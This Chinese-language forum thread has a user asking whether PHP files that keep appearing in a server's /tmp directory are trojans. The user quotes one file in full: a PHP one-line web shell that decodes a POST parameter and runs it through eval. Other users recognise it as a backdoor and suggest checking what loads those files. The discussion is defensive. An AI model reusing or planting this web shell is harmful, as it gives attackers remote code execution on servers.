请教大佬，这是木马吗

guoaibing

/tmp目录下，总是会生成php前缀的文件，



虽然没啥影响，不过腾讯云云镜老是提示是木马文件，大佬们遇到过这情况没

guoaibing

酷酷猫 发表于 2019-8-18 17:53
你看看文件里面 是什么代码

各种各样的都有   
有的是代码  

1. Ra<?php function a($a){@eval(@gzinflate($a));} function b($b){return base64_decode($b);} @a(@b($_POST['zs']));?>

复制代码

有的文件是链接     像是推广。。不管了

苁林老鬼

guoaibing 发表于 2019-8-18 17:58
各种各样的都有   
有的是代码  

  这是一句话

my49cn

eval和$_POST搭配在一起用一定是被挂马了

guoaibing

my49cn 发表于 2019-8-18 17:59
eval和$_POST搭配在一起用一定是被挂马了

大佬，在/tmp目录下有影响吗     这情况貌似一直有，没发现有啥影响

1941368542

guoaibing 发表于 2019-8-18 17:58
各种各样的都有   
有的是代码  

一看就是一句话了，POST里面就是密码了把。

my49cn

guoaibing 发表于 2019-8-18 18:03
大佬，在/tmp目录下有影响吗     这情况貌似一直有，没发现有啥影响

只要这个文件能被调用。就会有影响。你检查下有没有什么东西加载了tmp目录下的这些文件。